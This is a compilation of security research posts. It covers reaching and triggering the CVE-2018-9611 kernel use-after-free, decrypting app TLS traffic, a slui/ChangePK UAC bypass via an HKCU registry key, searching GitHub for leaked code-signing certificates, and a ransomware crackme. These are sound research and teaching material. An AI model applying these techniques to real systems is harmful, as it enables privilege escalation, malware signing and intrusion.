From above, we are interested to know when a transaction enters the KTransactionCommitted or KTransactionPrepared state. The only way to really tell when these state transitions occur is by reversing. Fortunately it is fairly easy to find related functions as they are well named and have the the Tm prefix or Tmp prefix we mentioned earlier.
After a bit of reversing we ran into a fairly frequently called function called TmpProcessNotificationResponse(), which operates on a set of arrays passed in as arguments:
__int64 TmpProcessNotificationResponse(_KENLISTMENT *pEnlistment, PLARGE_INTEGER VirtualClock, unsigned int ArrayCount, _KENLISTMENT_STATE *EnlistmentStatesArray, _KENLISTMENT_STATE *NewEnlistmentStateArray, _KTRANSACTION_STATE *TransactionStatesArray, unsigned int (**pCommitCallback)(struct _KTRANSACTION *, _QWORD), unsigned int *ShouldFinalizeFlag) { [...] pTransaction = pEnlistment->Transaction; [...] pEnlistment->State = NewEnlistmentStateArray[i]; if ( ShouldFinalizeFlag[i] == 1 || ShouldFinalizeFlag[i] == 2 && !(pEnlistment->NotificationMask & TRANSACTION_NOTIFY_COMMIT) )// optionally finalize { TmpFinalizeEnlistment(pEnlistment); } KeReleaseMutex(&pEnlistment->Mutex, 0); bHaveEnlistmentMutex = 0; if ( pCommitCallback[i] ) { if ( pTransaction->PendingResponses-- == 1 ) rcval = pCommitCallback[i](pTransaction, 0i64); } } } [...] }
The interesting thing about this function is that it is responsible for setting various transaction states, as well as enlistment states.
By looking at all of the callers, we slowly worked out which function sets which state:
Taking one of the xrefs shown above, we see how TmPrepareComplete() calls TmpProcessNotificationResponse():
__int64 __fastcall TmPrepareComplete(_KENLISTMENT *pEnlistment, LARGE_INTEGER *VirtualClock) { _KENLISTMENT_STATE NewEnlistmentStateArray[1]; // [rsp+40h] [rbp-18h] _KENLISTMENT_STATE EnlistmentStatesArray[1]; // [rsp+44h] [rbp-14h] unsigned int (__fastcall *pCommitCallback[1])(struct _KTRANSACTION *, _QWORD); // [rsp+48h] [rbp-10h] unsigned int ShouldFinalizeFlag[1]; // [rsp+70h] [rbp+18h] _KTRANSACTION_STATE TransactionStatesArray[1]; // [rsp+78h] [rbp+20h] ShouldFinalizeFlag[0] = 0; pCommitCallback[0] = TmpTxActionDoPrepareComplete; EnlistmentStatesArray[0] = KEnlistmentPreparing; NewEnlistmentStateArray[0] = KEnlistmentPrepared; TransactionStatesArray[0] = KTransactionPreparing; return TmpProcessNotificationResponse( pEnlistment, VirtualClock, 1u, EnlistmentStatesArray, NewEnlistmentStateArray, TransactionStatesArray, pCommitCallback, ShouldFinalizeFlag); }
Calling PrepareComplete() from userland will indeed end up calling NtPrepareComplete() which will call TmPrepareComplete(). We now know that calling PrepareComplete() from userland will set this _KENLISTMENT into a new state of KEnlistmentPrepared. If, in addition to modifying this enlistment parameter’s state, all of the enlistments associated with the same transaction are synchronized on the same new state, then the TmpTxActionDoPrepareComplete() function will end up being called, which will set the transaction to a new state. This transaction change is shown in the excerpt below:
__int64 __fastcall TmpTxActionDoPrepareComplete(_KTRANSACTION *pTransaction) { LARGE_INTEGER *v1; // rdx struct _LIST_ENTRY *EnlistmentHead; // rcx int logerror; // eax MAPDST _KENLISTMENT *pSuperiorEnlistment; // rcx __int64 result; // rax if ( !pTransaction->SuperiorEnlistment || pTransaction->Flags & KTransactionPreparing ) { pTransaction->State = KTransactionPrepared; result = TmpTxActionDoCommit(pTransaction, v1); }
So in this way we know that we must work out all the prerequisite state transitions prior to KTransactionPrepared to allow us to eventually call PrepareComplete(). When our transaction enters the KTransactionPrepared state, we will be able to trigger the code we want to reach in the vulnerable function.
Enlistment state prerequisites
Similar to the above, _KENLISTMENT structures also have a set of states, and in order for a transaction to transition to a new state, all of the associated enlistments must be in the matching state. So if a transaction should transition to a KTransactionPrepared state as in the example above, it is necessary that all _KENLISTMENT structures are already in the KEnlistmentPrepared state.
The full list of _KENLISTMENT_STATE states is below:
enum _KENLISTMENT_STATE { KEnlistmentUninitialized = 0, KEnlistmentActive = 256, KEnlistmentPreparing = 257, KEnlistmentPrepared = 258, KEnlistmentInDoubt = 259, KEnlistmentCommitted = 260, KEnlistmentCommittedNotify = 261, KEnlistmentCommitRequested = 262, KEnlistmentAborted = 263, KEnlistmentDelegated = 264, KEnlistmentDelegatedDisconnected = 265, KEnlistmentPrePreparing = 266, KEnlistmentForgotten = 267, KEnlistmentRecovering = 268, KEnlistmentAborting = 269, KEnlistmentReadOnly = 270, KEnlistmentOutcomeUnavailable = 271, KEnlistmentOffline = 272, KEnlistmentPrePrepared = 273, KEnlistmentInitialized = 274 };
Similar to what was noted before, this just means we need to find the prerequisite functions to set enlistments into a specific state. If we look back at our earlier example for TmPrepareComplete(), we see that it will transition the _KENLISTMENTS states from KEnlistmentPreparing to KEnlistmentPrepared:
EnlistmentStatesArray[0] = KEnlistmentPreparing; NewEnlistmentStateArray[0] = KEnlistmentPrepared;
Preparing for a recovery
Given what we have covered so far, what do we need to do to get a transaction into the necessary state? The following code shows how we do this:
hTx1 = CreateTransaction(NULL); hEn1 = CreateEnlistment(hRM, hTx1, 0x39ffff0f, 0); hEn2 = CreateEnlistment(hRM, hTx1, 0x39ffff0f, 0); CommitTransactionAsync(hTx1); PrePrepareComplete(hEn1); PrePrepareComplete(hEn2); PrepareComplete(hEn1); PrepareComplete(hEn2);
After executing the above, our transaction is in the KTransactionPrepared state. The next step would be calling CommitComplete() to commit the enlistments, which would transition it into the KTransactionCommitted state. However, we want them to be in the non-committed state to allow the recovery.
Note that the above could simply be done with a single enlistment, however since exploitation involves many enlistments and those enlistments all need to be in the same state to transition the transaction, it is better to more closely simulate the exploitable circumstances.
One thing we noticed during our research is that for a recovery to occur, a single transaction in the KTransactionPrepared was not enough, so we effectively used two transactions:
- one transaction in the KTransactionCommitted state, with the transaction having a single enlistment
- another transaction in the KTransactionPrepared state, with the transaction having lots of enlistments
Building our race transaction
Now that we know how to transition between enlistment and transaction states, and get notifications about what state things are in (from part 1), we recover the resource manager so that TmRecoverResourceManager() parses the multiple enlistments part of our second transaction.
The following shows a very simplified view of what this might look like:
// recovery thread void recover(void) { //... // Creating TM and RM hTM = xCreateVolatileTransactionManager(); hRM = xCreateVolatileResourceManager(hTM, NULL, pResManName); RecoverResourceManager(hRM); // have some completed transaction that allows us to actually recover hTx1 = setup_commit_completed_transaction(hRM); // set up a bunch of prepared enlistments that we will finalize in racer // thread uaf_tx_list = single_tx_uaf_enlistments(hRM, hTM, MAX_TX_ENLISTMENT_COUNT); // Call the buggy recovery code RecoverResourceManager(hRM); //... }
In the future when we talk about the thread that is calling TmRecoverResourceManager(), we will call it the "recovery thread".
By reading notifications as detailed in part 1 while the recovery is running, we confirm that we hit the vulnerable code and see that we are receiving associated notifications for each of the enlistments as they are parsed by the loop. This means we finally reach the vulnerable code.
Triggering the vulnerability with an assisted race condition
Forcing the race window open
When exploiting race condition bugs a common early approach is to artificially open the race window to guarantee a win. This helps better understand the environment in which we are operating and also ensures that our exploit skeleton code is actually functioning. When failing to win a race, it is best to be able to differentiate if it is because our trigger is incorrect due to a misunderstanding or if we are just not winning it yet due to inefficiency in the race.
This approach also helps us investigate the post-race-win state, and helps examine approaches to detecting a race win once we stop using the artificial window. This can be worked out simultaneously by other people when one person is still trying to effectively win the race without "cheating".
In order to force the window open, we patch TmRecoverResourceManager() in WinDbg to change the KeWaitForSingleObject() call below to be a tight loop.
// Race starts here ObfDereferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64);
Once this is patched, the recovery thread will be permanently hung, but other threads continue to do things. This gives us the opportunity to free the target enlistment in question, and also replace it.
Note that this only works for us because it is extremely unlikely any other code on the system is using TmRecoverResourceManager(). If you need to try to win a race on more heavily used code it is better to just change the instruction pointer temporarily for the thread you are racing so that it points to an infinite loop. This way other threads that potentially need to legitimately use the buggy code won’t be impacted.
How to free a _KENLISTMENT on demand?
In order to trigger the use-after-free during the race window, we need to know how to free an _KENLISTMENT. Reversing shows that once an enlistment has been committed it becomes finalized, and after this point, once all object counter references go away, the _KENLISTMENT will be freed.
From our analysis of TmRecoverResourceManager(), we know that one indication that an enlistment is pending free is the KENLISTMENT_FINALIZED flag being set. By searching through KTM related functions, we find the TmpFinalizeEnlistment() function.
At first glance the xrefs graph to TmpFinalizeEnlistment() looks like spaghetti, but by taking a bit of time to look through, there are some obvious candidates. One function a little ways up the call chain is TmCommitComplete().
The TmCommitComplete() function is called by NtCommitComplete(), which we can call from userland. One of the easiest paths to the function we want to call is:
NtCommitComplete() -> TmCommitComplete() -> TmpProcessNotificationResponse() -> TmpFinalizeEnlistment()
We already looked at the TmpProcessNotificationResponse() code earlier. This function parses a few arrays of flags and starts by identifying if the transaction and current enlistment match one set of the corresponding states in the arrays. If so, then it will update the enlistment state flag. A separate array containing flags (which we call ShouldFinalizeFlag[]) indicate if, after the new enlistment state is set, it should also be finalized. In the case of TmCommitComplete() the ShouldFinalizeFlag flags are set, so TmpFinalizeEnlistment() will be called:
if ( ShouldFinalizeFlag[i] == 1 || ShouldFinalizeFlag[i] == 2 && !(pEnlistment->Key & TRANSACTION_NOTIFY_COMMIT) ) TmpFinalizeEnlistment(pEnlistment);
The TmpFinalizeEnlistment() function does a fair bit, but we’ll look at a few things:
If the enlistment is already finalized, it doesn’t re-finalize it:
EnlistmentFlags = *(&pEnlistment->NotificationMask + 1); if ( EnlistmentFlags & KENLISTMENT_FINALIZED ) return 0i64; [...]
Next we see the following code. It removes the association of the enlistment being finalized from the resource manager. As we recall, if the TmRecoverResourceManager() function is somehow permanently blocked on the KeWaitForSingleObject(&pRm->Mutex) call itself in the recovery thread, the TmpFinalizeEnlistment() call on another thread could succeed.
// Acquire the resource manager's mutex so we can deal with _KRESOURCEMANAGER.EnlistmentHead == _KENLISTMENT.NextSameRm KeWaitForSingleObject(&pRM->Mutex, Executive, 0, 0, 0i64); TmpRemoveTransactionEnlistmentCounts(pEnlistment); [...] TmpRemoveEnlistmentResourceManager(pEnlistment);
This answers an earlier question, which is that removing the enlistment is indeed predicated on locking the resource manager’s mutex.
Next, as detailed in code excerpt below, there are two calls that reduce the refcount of the enlistment. These correspond to references from the linked lists that the enlistment was just removed from. Finally, the third ObfDereferenceObject() call actually matches the original refcount added when creating the structure in the first place.
ObfDereferenceObject(pEnlistment); ObfDereferenceObject(pEnlistment); [...] KeReleaseMutex(&pRM->Mutex, 0); TmpReleaseTransactionMutex(pTransaction); KeWaitForSingleObject((&pEnlistment->Mutex + 8), Executive, 0, 0, 0i64); ObfDereferenceObject(pEnlistment); return 0i64;
At this point, the enlistment refcount should be 1, and that is because the userland exploit still holds the opened handle to the enlistment. Following the finalization call, closing the enlistment handle from userland should be enough to make the refcount reach 0.
To summarize, the most important thing to realize about TmpFinalizeEnlistment() is that it decrements the _KENLISTMENT‘s refcount an additional time, to offset the original refcount during creation. As a result, once other functions have also decremented the refcount and the refcount reaches zero, then the _KENLISTMENT will finally be freed. Now let’s recall that TmRecoverResourceManager() also calls ObfDereferenceObject(pEnlistment), which means that the finalization process, in addition to closing the enlistment handle from userland, will actually free the _KENLISTMENT object.
So all of that is a long way to to say: If we can identify which enlistment we want to free in order to trigger a use-after-free, we must simply call CommitComplete() on that enlistment and then use CloseHandle to close the associated enlistment handle. That will trigger a free of the _KENLISTMENT object.
Confirming our understanding
In order to confirm our mental model, we enable Verifier to be able to catch a crash as soon as non-valid memory is touched.
We set a breakpoint in TmRecoverResourceManager(). When the breakpoint hits, we install the patch for simulating the mutex congestion. Note that we wrote a simple JavaScrit script for WinDbg Preview to test this (adding !patch and !unpatch commands):
0: kd> !patch __installPatch Setting breakpoint and patching mutex code @$patch()
Then we continue execution. Now everything hangs on the VM side and our userland exploit skeleton does not exit due to the recovery thread being in an infinite loop.
So we break in WinDbg, remove the patch and restore execution:
1: kd> !unpatch __uninstallPatch Removing breakpoint for patching mutex and restoring old code. @$unpatch() 1: kd> g
We hit the following crash:
rax=0000000000000000 rbx=fffff98026e1edd8 rcx=fffff9801a4b2e58 rdx=fffff98026e1edf0 rsi=fffff980277fce20 rdi=0000000000000000 rip=fffff80002d2eac1 rsp=fffff88005d4a9d0 rbp=fffff88005d4ab60 r8=fffff78000000008 r9=0000000000000000 r10=0000000000000000 r11=fffff80002bf1180 r12=fffff98026e1edb0 r13=fffff98026e1eec0 r14=0000000000000000 r15=0000000000000100 iopl=0 nv up ei pl nz na pe cy cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010303 nt!TmRecoverResourceManager+0x129: fffff800`02d2eac1 f6472404 test byte ptr [rdi+24h],4 ds:002b:00000000`00000024=?? 0: kd> r rdi Last set context: rdi=0000000000000000 0: kd> k *** Stack trace for last set context - .thread/.cxr resets it # Child-SP RetAddr Call Site 00 fffff880`05d4a9d0 fffff800`02d4bf49 nt!TmRecoverResourceManager+0x129 01 fffff880`05d4aa90 fffff800`02aae9d3 nt!NtRecoverResourceManager+0x51 02 fffff880`05d4aae0 00000000`778cabea nt!KiSystemServiceCopyEnd+0x13 03 00000000`0020a568 000007fe`fa4b219d ntdll!ZwRecoverResourceManager+0xa 04 00000000`0020a570 00000000`ff396d7b ktmw32!RecoverResourceManager+0x9
This corresponds to beginning of the loop, indicating the enlistment was freed in the previous iteration of the loop, a stale pointer was copied to pEnlistment_shifted at [1] and the use-after-free happened at [2]:
pEnlistment_shifted = EnlistmentHead_addr->Flink; while ( pEnlistment_shifted != EnlistmentHead_addr ) { [2] if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) // crash here { ... if ( bEnlistmentIsFinalized ) { pEnlistment_shifted = EnlistmentHead_addr->Flink; bEnlistmentIsFinalized = 0; } else { [1] pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } } }
Conclusion
We’ve now presented a detailed analysis of the CVE-2018-9611 vulnerability, and our understandings of the prerequisites of constructing an enlistment that allows us to reach the vulnerable code. We also now know how to free an enlistment on demand, and how to force our race window open to let us confirm an enlistment can actually be freed and reused at the next iteration of the loop. Our next blog will discuss how to identify which enlistment is the best candidate to free and how to win the race without forcing the race window open.
-
Sniffing plaintext network traffic between apps and their backend APIs is an important step for pentesters to learn about how they interact. In this blog post, we’ll introduce a method to simplify getting our hands on plaintext messages sent between apps ran on our attacker-controlled devices and the API, and in case of HTTPS, shoveling these requests and responses into Burp for further analysis by combining existing tools and introducing a new plugin we developed. So our approach is less of a novel attack and more of an improvement on current techniques.
Of course, nowadays, most of these channels are secured using TLS, which provides encryption, integrity protection and authenticates one or both ends of the figurative tube. In many cases, the best method to overcome this limitation is man-in-the-middle (MITM), where a special program intercepts packets and acts as a server to the client and vice versa.
For well-written applications, this doesn’t work out-of-the-box, and it all depends on the circumstances, how many steps must be taken to weaken the security of the testing environment for this attack to work. It started with adding MITM CA certificates to OS stores, recent operating systems require more and more obscure confirmations and certificate pinning is gaining momentum. Latter can get to a point, where there’s a big cliff: either you can defeat it with automated tools like Objection or it becomes a daunting task, where you know that it’s doable but it’s frustratingly difficult to actually do it.
And then there are the cases from the second sentence of this post, where both ends perform authentication, and since the server is the one presenting the certificate most of the time, we usually refer to it as client certificate authentication, since that’s the “exception” to the rule. In such scenarios, since the end-to-end TLS is split into two, the legitimate client authenticates to the MITM server, yet the MITM client also needs to present a certificate to the legitimate server. For this, the certificate and its private key must be extracted from the app, which, similarly to the aforementioned certificate pinning can be either done quick and easy (when it’s in a PEM file) or it can lead to hours of frustrated reverse engineering.
Around this point is where some start thinking: do we really need to perform man-in-the-middle? Of course, MITM has its bright sides: modifying the plain text traffic on-the-fly is easy to implement, adding a match-and-replace rule to Burp to switch X-Jailbroken: true to false just works. On the other hand, if there are this many problems and all we need is reading the plaintext traffic, there are better solutions out there. It’s just that MITM worked so well for so long, that it’s the first thing that comes to mind; sometimes even if it’s not the best fit for the problem.
It’s obvious why we can read plaintext from TLS in a MITM scenario. But what do we really need to decrypt plaintext if we let the app speak directly to the API? Old-timers might remember Wireshark having the option to decrypt SSL/TLS when given the private key to the server certificate. This has two problems, one inherent to pentest projects, another related to the year being 2020. The former problem comes from the fact that in most pentest projects, you don’t get the private key of the server, for multiple reasons. But even if you’d get it, the latter problem is that RSA-based key exchanges, where secrets are being encrypted using the public key from the server certificate are being phased out in favor of ephemeral solutions like traditional (DLP-based) and elliptic curve (EC) Diffie-Hellman (DH). The reason, of course, is exactly why this approach against RSA key exchange would work, as real-world attackers could just as easily collect TLS traffic and compromise private keys later, hence modern implementations preferring key exchange algorithms with Perfect Forward Secrecy (PFS).
However, there’s another way: cryptographic keys in a TLS session are derived from a (Pre-)Master Secret, which is present at both ends of the secure channel. And since we control one end of that, it can be used to get plaintext from TLS traffic. Fortunately, Wireshark supports this way as well, by specifying a file that has these secrets in a specific format. The best part is that this file is read continuously by Wireshark, so live network traffic can be decrypted in real-time if the file is also written as soon as those secrets are available. Since it’s not a part everyone might visit every day in Wireshark, below is an illustrated guide that takes you to the precious input field that lets you specify the SSL key log file.
Browsers like Mozilla Firefox have a setting to dump such a file for debug purposes. In case of Android apps, there’s a great project called frida-sslkeylog by Saleem Rashid that uses Frida to hook the appropriate OpenSSL (or BoringSSL) functions to extract the secrets real-time from the running app. For this, the only requirement on the device side is to have Frida available; this can be done by installing it on a rooted Android following the official docs. If the app has issues running on rooted devices or there’s another reason to avoid the above method, there’s an alternative method of injecting the Frida Gadget into the app, thus it runs within the same process, avoiding the need for root. The easiest way to do this is by using the patchapk command of Objection.
This gives us a nice decrypted traffic in Wireshark, which is already useful, but for us, this was only the beginning. If we wanted to use this information to test the API itself, we needed a way to get these request-response pairs into Burp to use its tools such as Repeater, Scanner, and Intruder. To sum up what I wanted (and in the end managed) to do, here’s a diagram:
Learning from my mistakes and the wisdom of my colleague PZ, I searched for an existing solution, but the only reasonable one was Pcap Importer, which worked on the PCAP level, thus supported plain HTTP only. What I needed was a way to get the high-level, pre-processed information such as decrypted HTTP (ex-HTTPS) requests into Burp.
Fortunately, I remembered using PDML for other, previous network protocol reverse engineering projects of mine. PDML is an XML-based structured export format of Wireshark which contains all the parsed information that’s also available within the GUI as part of the tree structure in the bottom panel. By consuming this format, most of the work is done by Wireshark, such as detecting HTTP messages and correlating requests and responses, parsing URLs.
Since I already wrote a Burp extension to parse CFURL caches (we have a blog post about that as well), most of the boring stuff could be copy-pasted from there, such as having a UI with a load button, an open file dialog, a message list, and the standard Message Editor controls of Burp, all tied together. Parsing seemed a bit difficult in the beginning, but as it turned out, the useful parts were found in two places:
-
Attributes called show contained parsed strings, such as integers like
request-response correlation info, response code or processed strings like the URL or the HTTP method. These were used for metadata and UI strings. -
Attributes called value contained raw (but plaintext) bytes encoded using hexadecimal digits, request and response bodies were reconstructed from these.
The last big hurdle was performance; these PDML files got huge quickly since they contained every bit of information about all the packets. Most people when confronted with XML parsing choose DOM since it parses the whole document into an in-memory tree that can be traversed in any random pattern, helped by tools such as XPath. However, in this case, this leads to huge latency for both the initial parsing and tree building phase and then traversing this structure. The logic was rewritten using a streaming (SAX) parser that fires events for every structural element, thus instead of an implicit tree, I could build a custom structure of my own that contained only the things I needed. In this case, this consisted of storing requests indexed by their packet number. When the response is found later, the request can be accessed in O(1) time, and added to the list of HTTP messages along with the response. This made things an order of magnitude faster.
Our new Burp plugin called PDML importer is available in our GitHub repository under MIT license, pull requests are welcome. Thanks to Saleem Rashid for developing frida-sslkeylog, and Balázs Goldschmidt for explaining SAX parsers to me at the university 10 years ago, which came very handy to make the Burp plugin much faster.
Below is a screenshot of the plugin in action, some values had been masked to protect the innocent. The number in parentheses on the left is the number of the packet in the original capture that the request was transmitted in so that it can be cross-referenced if needed. The exact timestamp also comes from packet capture metadata.
Of course, this is not the only possible approach, and certainly not the best solution for every scenario, as there is no one-size-fits-all method. Thus it’s worth reading how others tackled similar issues:
- Péter Párkányi used tools built upon eBPF for decrypting Zoom traffic, which is a bit more low-level, requiring less resources, but limited to Linux,
- m1el injected a purpose-built DLL into the running process using CreateRemoteThread on Windows to reveal plaintext network traffic from Oculus, which is similar to what Frida does, but handcrafted for a single platform.
Sursa: https://blog.silentsignal.eu/2020/05/04/decrypting-and-analyzing-https-traffic-without-mitm/
-
-
Privilege escalation (UAC bypass) in ChangePK
Matt harr0eyFollowMay 4 · 3 min readIntroduction
It’s been a long time since I decided to to be away from Twitter for a while for self-improvements reasons and finding valuable bugs. While I was away from Twitter I spent hard work on the basics of privilege escalation to be aware of it, after that I went through privilege escalation bugs and successfully found interesting one works on the most versions of windows XP/7/8/10/etc. in this article, I’ll write simple and very understandable wordsWhat is privilege escalation?
Although I’m not pro at this but I’ll help as much as I can: Privilege escalation is a technique that helps attacker to gain high level of privilege from low privilege by some techniques like DLL hijacking, User account control bypass, etc. by the way, there are many techniques aren’t mentioned here, but you can find them in this website:
https://attack.mitre.org/tactics/TA0004/How does Slui UAC bypass work?
There is a tool named ChangePK in System32 has a service that opens a window (for you) called Windows Activation in SystemSettings, this service makes it easy for you and other users to change an old windows activation key to a new one, the tool (ChangePK) doesn’t open itself with high privilege but there is another tool opens ChangePK with high privilege named sliu.exe. Let’s take a look at more detailsHow does Slui.exe work?
Slui doesn’t support a feature that runs it as administrator automatically, but we can do that manually by either clicking on slui with a right click and then click on “Run as administrator” or using this command: powershell.exe start-process slui.exe -verb runasHow did I find the vulnerability?
The tool I used to find the registry key to get a UAC bypass from slui.exe is Procmon. I put some filters in Procmon to find missing registry paths for Slui and I succeed in finding the right missing registry path, let’s take a look at it!
After creating all the registry paths needed to get a Slui UAC bypass, I got the success word in Procmon, Look at this!
Now It’s time to test the bug!
Yay, It has worked like a charm. Have a fun!
Hey guys, before going out this article, I want to acknowledge bytecode77 who has found a registry keynpath that allows attackers to gain high privilege; Although his method of UAC bypass is different from mine, but It’s not a problem (^_^). Bytecode77’s method is his registry path lead slui to be executed by HKCU\Software\Classes\exefile\shell while my method is very different from that… It leads slui to be executed by HKCU\Software\Classes\launcher.Systemsettings\Shell\open\command. That’s the first one different thing, the next one is that bytecode77’s registry key path
The proof of concept:
https://gist.github.com/homjxi0e/9174952b6535a13a2645978b8abfd541Sursa: https://medium.com/@mattharr0ey/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b
-
Code Signing on a Budget
Mon 04 May 2020Summary: This post goes over how attackers could use search engines to find and abuse legitimate code-signing certificates. With this technique, I was able to find a valid code-signing certificate belonging to a leading tech company and disclosed it to them.
This isn't particularly novel but I'm writing this to raise defensive awareness that abusing code-signing certificates is not limited to well-resourced attackers.
Background
Stuxnet was known for signing its malware with legitimate certificates stolen from two Taiwanese semiconductor companies (both of which happened to be headquartered in the same industrial park). Signing the malware certainly didn't make it any safer, but it helped systems establish trust. Some security products may overlook signed binaries as part of their heuristics, and Office products can be configured to allow signed macros.
This causes a substantial breach of trust because certificates are supposed to assure users and systems that the software was developed by the organization named in the certificate and that it hasn't been modified by anyone else.
There a few ways to obtain certificates while concealing one's identity:
- Falsify Requirements, which involves mimicking legitimate companies. This can get more difficult depending on the certificate authority.
- Cryptographic Attacks, as was done with Flame which forged Microsoft signatures or the "CurveBall" vulnerability (CVE-2020-0601) in the Windows CryptoAPI system. This type of attack is usually expensive to develop and prohibitive to most attackers.
- Compromised Certificate Authorities, which appears to have become more prevalent according to researchers from Masaryk University and Maryland Cybersecurity Center.
- Stealing from Legitimate Organizations, which could involve operations to infiltrate enterprises, pivot to where they are being safeguarded and perform extraction.
Code Search Technique
Certificate extraction missions from internal corporate networks have been popularized, but are not necessary if an attacker is looking to just get any valid certificate they can use for a period of time. To that end, attackers can take advantage of the fact that valid certificates tend to be inadvertently committed to public repositories from time to time.
Using GitHub as an example, one way to find Authenticode certificates could involve:
- Searching across all repositories for "signtool", sorting by recently indexed.
- Filtering for repositories that contain PFX or P12 files.
- Filtering further for signtool command lines using a hardcoded password (/p option).
Further optimizations and variations could be made. Using the API could automate this process to a degree, or at least make it easier to sift through a shortlist of candidate repos. That said, even with the growing scale of content to sift through, finding a valid certificate is still rare.
Using the technique above, I was able to find a certificate issued to a leading OEM company which was still valid at the time. It appeared to be on a user's personal account. I reported the issue to their security team and the offending repository was quickly removed.
Disclosure Timeline
- 2020-04-23: Reported issue and received acknowledgement.
- 2020-04-24: Offending repository was removed and received confirmation.
Conclusion
Although an attacker using this technique won't get their pick of the litter, finding at least one valid certificate should be enough for many use cases. The process is repeatable and the cost is low.
There isn't a perfect search query to find all certificates, which also means there isn't a perfect defence against this problem. As some certificates get removed or revoked, others will inevitably surface over time. Responsible organizations should continue to be proactive in safeguarding their certificates, and should also consider options for monitoring abuse.
Thank you to @MastemaSec, @JT_InfoSec, Geoff H., and Lincoln for their reviews and feedback.
References
-
Disclosure Note
CVE-2019-0717: Hyper-V vmswitch.sys Out of Bounds Read DoS Vulnerability
I found this bug in 2018 with a custom fuzzer that I wrote as part of the initial reconnaissance of Microsoft Hyper-V architecture and attack vectors. This is a Tier 1 [host OS kernel] vulnerability per the Microsoft's taxonomy, that qualifies for a $50K bounty via the Microsoft Azure Bounty Program.
Credits
Vulnerability discovery and analysis, Proof-of-concept: Alisa Esage [0days.engineer]
Sura: https://github.com/badd1e/Disclosures/tree/master/CVE-2019-0717_Hyper-V
-
Beginner RE and Cryptanalysis with cutter
This time Around we will be solving the MalwareTech’s Ransomware Challenge it is one of the easiest challenge but however it will be an exercise on reverse engineering and cryptanalysis .We will be using opensource tools cutter as far as possible for reverse engineering. I have previously done a detailed tutorial on solving the VM challenge by MalwareTech check it out HERE.
so the challenge description for this challenge is :
Seems like we have a windows ransomware sample on our hand but written by skid?? we will see why the author says that further down the line on cryptanalysis section.
Reverse Engineering the binary.
now lets start our analysis by loading the binary in cutter and doing the normal analysis and check out the functions listings.
we can see here that there are only two actual functions and two are imports from ntdll. now as always it is always good idea to start from entry0 if no function is labeled as main. lets check the assembly listing of the entry0 function.
so looking at the assembly listing we can see in first two instructions it is setting up the stackframe the next instruction does not subtract anything from esp that means no space is reserved on the stack for local variables that means that this function does not use any local variables. The next 3 instructions are interesting it is pushing the value 0 twice and then calling section..text ??
why would the section be called?? actually its not the section being called but a function whose start coincides with the start of the section.we can double click on the symbol section..text to verify that . it indeed takes us to the function fcn.00401000 . These three lines in reality just called function fcn.00401000 as fcn.00401000(0,0);
and then in very next instruction it is adding 8 to esp, this tells us that the caller is clearing up argument from the stack which indicates the calling convention used here is cdecl. In next two instructions it is again pushing 0 and calling the ExitProcess which just exits the program returning 0. The next instruction pops ebp back from the stack to restore the previous stack frame and then the ret is executed to return. however these last two instructions are dead code since the execution never reaches here.
So the entry 0 function can be decompiled as:entry0() { fcn.00401000(0,0); ExitProcess(0); }
since we already know what exit process does the only piece of puzzle remaining to be solved is the function fcn.00401000 lets jump into it and take a look at its assembly listing.
The first two instructions as usual set up the stack frame and the next two instruction is used to call chkstk with the value 4380(0x111c) . checking msdn documentation for chkstk we see it is used by the compiler to save a stack size greater than 4KB. now in next instruction it moves the pointer to the filename into eax and pushes it . it then pushes the pointer to the format string and then pushes the value 260(0x104) and also pushes the pointer var_108h into the stack and calls the function snprintf which is used to make a string according to the format string and instead of displaying it like printf it saves it into the var_108 buffer. so this whole code takes the filename and prepares a new filename by appending “_encrypted” to the end of it.The next string clears the 16 bytes from stack according to cdecl calling convention.
The code then goes on to push a few constants (flags) into the stacks and also pushes the name of the original file and call create file which creates a handle to the file with given filename/path. and again the same is repeated for the file with the new name which was prepared earlier.so hObject is handle to the old file and var_114h is the handle to the new file.
Then it goes on to push some constants and pointer to buffer lpbuffer and calls the Readfile on original file with handle h0bject which then returns the no of bytes read into the lpNumberOfBytesWritten variable and the file content to lpBuffer.The value 4096(0x1000) is used to set the limit of data read to 4kb.for more info check documentation for ReadFile. The code than compares the return code with 1(boolean TRUE) to check if the read was successful if it wasnot it jumps to 0x401131 which will be discussed later.
it then goes on to load 0 into the counter var_11ch and then jumps to location which compares the counter with the total number of bytes read from the file and if the counter is greater or equal it breaks out of the loop .
this is typical for loop
for(int var_111ch=0;var_111ch<lpNumberOfBytesWritten;var_111ch++)
The code then loads the value of counter into eax and zeros out the edx and loads 32(0x20) into ecx and calls for divide that divides edx:eax and then the remainder in edx is added with the base address in argc which is then used retrieve a key byte. this is equivalent to
argc[var_111ch%32]
it then xors this key with the byte indexed by the count thus encrypting the content , which is equivalent to
data[var_111ch]=data[var111ch]^argc[var_111ch%32]
this is the main encryption logic in the routine the code then loops doing this for all the bytes read from the file and then goes on to push diffrent arguments to the stack and write this encrypted data to the new file by calling the WriteFile function.
the code then checks if the total number of bytes read was equal to 4096 bytes ie 4kb if it was it jumps back to read the remaining data in iteration till all data is read thus encrypting all the data in the file.
the code then pushes the handles of opened files and calls CloseHandle to close those file. it then restores the previous stack frame and then returns .
the c++ equivalent of this routine would be
int encrypt(char * filename, char * key) { char databuffer[4096]; char newname[206]; int nobytesread; snprintf(newname,206,"%s_encrypted",filename); handle old=CreateFileA(filename,WRITE_OWNER,0,0,OPEN_EXISTING,0x80,0); handle new=CreateFileA(newname,WRITE_DAC,0,0,CREATE_ALWAYS,0x80,0); do{ ReadFile(old,data,4096,&nobytesread,NULL); for(int count=0;count<=nobytesread;++count) { data[count]=data[count]^key[count%32]; } WriteFile(new,data,&nobyteread,&nobytesread,NULL); }while(nobytesread==4096); CloseHandle(new); CloseHandle(old); return; }
at this point we know all about how the given binary works but we still cannot decrypt the files provided because we do not have the key. but from above code we can see that the key index loops back after 32 bytes due to the modular division but we donot have that 32 bytes long key sequence.
Lets do some cryptanalysis to find the key:
Cryptanalysis
looking at the files provided we can see that we have one encrypted text file flag.txt_encrypted and also few encrypted sample pictures.but still we do not have the key but we know that the xor encryption scheme is perfectly secure if the key is as long as the data to be encrypted but in our case it is not . looking at the sample pictures these are the default sample pictures that come with win7 hence we know what the data was before encryption.
